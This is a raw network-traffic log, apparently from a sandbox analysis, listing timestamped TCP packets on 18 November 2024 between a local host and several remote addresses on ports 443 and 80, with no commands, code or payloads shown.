Nov 18, 2024 02:34:24.040049076 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.041553974 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.041573048 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.041588068 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.041594982 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.045721054 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.045761108 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.045888901 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.046108007 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.046125889 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.047650099 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.048075914 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.048090935 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.048496962 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.048502922 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.180676937 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.180788040 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.180850983 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.181015015 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.181031942 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.184006929 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.184103012 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.184353113 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.184354067 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.184426069 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.311414003 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.311928034 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.311940908 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.312460899 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.312467098 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.315779924 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.316179991 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.316194057 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.316591024 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.316597939 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.423101902 CET	443	49768	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:24.423209906 CET	443	49768	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:24.423280954 CET	49768	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:24.423403025 CET	49768	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:24.423418045 CET	443	49768	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:24.423507929 CET	49768	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:24.423517942 CET	443	49768	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:24.425715923 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:24.430577993 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:24.430660009 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:24.430803061 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:24.435602903 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:24.437417984 CET	443	49772	20.12.23.50	192.168.2.6
Nov 18, 2024 02:34:24.437489033 CET	49772	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:34:24.439337015 CET	49772	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:34:24.439349890 CET	443	49772	20.12.23.50	192.168.2.6
Nov 18, 2024 02:34:24.439594984 CET	443	49772	20.12.23.50	192.168.2.6
Nov 18, 2024 02:34:24.439940929 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.440009117 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.440128088 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.441549063 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.441549063 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.441571951 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.441582918 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.447196007 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.447242022 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.447278023 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.447344065 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.447720051 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.447801113 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.448251009 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.448266029 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.448400021 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.448414087 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.448906898 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.449059010 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.449141026 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.449141026 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.449193001 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.449203014 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.452182055 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.452214003 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.452303886 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.452445984 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.452461004 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.480676889 CET	49772	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:34:24.506015062 CET	49772	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:34:24.551322937 CET	443	49772	20.12.23.50	192.168.2.6
Nov 18, 2024 02:34:24.575416088 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.575505972 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.575565100 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.575697899 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.575745106 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.575776100 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.575793982 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.579843044 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.579886913 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.579958916 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.580168962 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.580219030 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.784276962 CET	443	49772	20.12.23.50	192.168.2.6
Nov 18, 2024 02:34:24.784302950 CET	443	49772	20.12.23.50	192.168.2.6
Nov 18, 2024 02:34:24.784311056 CET	443	49772	20.12.23.50	192.168.2.6
Nov 18, 2024 02:34:24.784326077 CET	443	49772	20.12.23.50	192.168.2.6
Nov 18, 2024 02:34:24.784375906 CET	443	49772	20.12.23.50	192.168.2.6
Nov 18, 2024 02:34:24.784420967 CET	49772	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:34:24.784446001 CET	443	49772	20.12.23.50	192.168.2.6
Nov 18, 2024 02:34:24.784493923 CET	49772	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:34:24.784493923 CET	49772	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:34:24.784496069 CET	443	49772	20.12.23.50	192.168.2.6
Nov 18, 2024 02:34:24.784509897 CET	443	49772	20.12.23.50	192.168.2.6
Nov 18, 2024 02:34:24.784562111 CET	49772	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:34:24.784574032 CET	443	49772	20.12.23.50	192.168.2.6
Nov 18, 2024 02:34:24.784924984 CET	443	49772	20.12.23.50	192.168.2.6
Nov 18, 2024 02:34:24.785032988 CET	49772	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:34:24.796179056 CET	49772	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:34:24.796200991 CET	443	49772	20.12.23.50	192.168.2.6
Nov 18, 2024 02:34:24.796314955 CET	49772	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:34:24.796334028 CET	443	49772	20.12.23.50	192.168.2.6
Nov 18, 2024 02:34:24.802591085 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.803085089 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.803108931 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.803585052 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.803595066 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.913252115 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.913878918 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.913929939 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.914539099 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.914552927 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.932115078 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.932194948 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.932925940 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.932925940 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.932925940 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.935991049 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.936028957 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:24.936331034 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.936331034 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:24.936363935 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.045685053 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.045798063 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.045866966 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.045984030 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.045984030 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.046021938 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.046046019 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.050367117 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.050412893 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.050503969 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.050858974 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.050889015 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.185642958 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.186096907 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.186109066 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.186506033 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.186513901 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.210691929 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.211133957 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.211146116 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.211544991 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.211548090 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.230577946 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.230607986 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.316489935 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.316613913 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.316672087 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.316808939 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.316818953 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.316843987 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.316849947 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.319704056 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.319735050 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.319796085 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.319977999 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.319991112 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.325905085 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.326283932 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.326320887 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.326725960 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.326740026 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.337291002 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.337307930 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.337321997 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.337346077 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.337510109 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.337523937 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.337547064 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.337562084 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.337563038 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.337577105 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.337587118 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.337590933 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.337608099 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.337615967 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.337646008 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.342230082 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.342257023 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.342272997 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.342298985 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.342319965 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.342361927 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.342561960 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.343117952 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.343446016 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.343496084 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.343519926 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.343544006 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.343559980 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.343566895 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.346164942 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.346242905 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.346374989 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.346519947 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.346554041 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.386826038 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.456279993 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.456424952 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.456487894 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.456744909 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.456744909 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.456773043 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.456794977 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.459436893 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.459510088 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.459590912 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.459724903 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.459743977 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.499116898 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.499146938 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.499164104 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.499186993 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.499201059 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.499201059 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.499255896 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.499422073 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.499468088 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.499515057 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.499557972 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.499603033 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.499608040 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.499622107 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.499677896 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.499914885 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.499962091 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.499977112 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.500000954 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.500014067 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.500020981 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.500030041 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.500045061 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.500066042 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.500838995 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.500854015 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.500869989 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.500899076 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.500900030 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.500916004 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.500931978 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.500936985 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.501672983 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.501729965 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.501756907 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.501781940 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.660814047 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.660830021 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.660844088 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.660857916 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.660875082 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.660890102 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.660909891 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.660943031 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.660979033 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.660994053 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.660998106 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.661012888 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.661014080 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.661022902 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.661047935 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.661732912 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.661772013 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.661786079 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.661828041 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.661869049 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.661906958 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.662100077 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.662112951 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.662127018 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.662134886 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.662158012 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.662197113 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.662210941 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.662244081 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.662650108 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.662662983 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.662676096 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.662703991 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.662736893 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.662750006 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.662763119 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.662771940 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.662775993 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.662791014 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.662792921 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.663641930 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.663655996 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.663671970 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.663702011 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.663729906 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.663743973 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.663753033 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.663768053 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.663784027 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.664043903 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.664623022 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.664635897 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.664650917 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.664684057 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.664710045 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.664725065 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.664738894 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.664755106 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.664769888 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.664772987 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.664814949 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.665931940 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.665945053 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.665960073 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.665998936 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.686038017 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.730607033 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.730613947 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.755922079 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.755939960 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.756378889 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.756383896 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.793307066 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.812577009 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.812614918 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.819050074 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.819062948 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.822314978 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.822329998 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.822356939 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.822413921 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.822432041 CET	80	49776	185.215.113.16	192.168.2.6
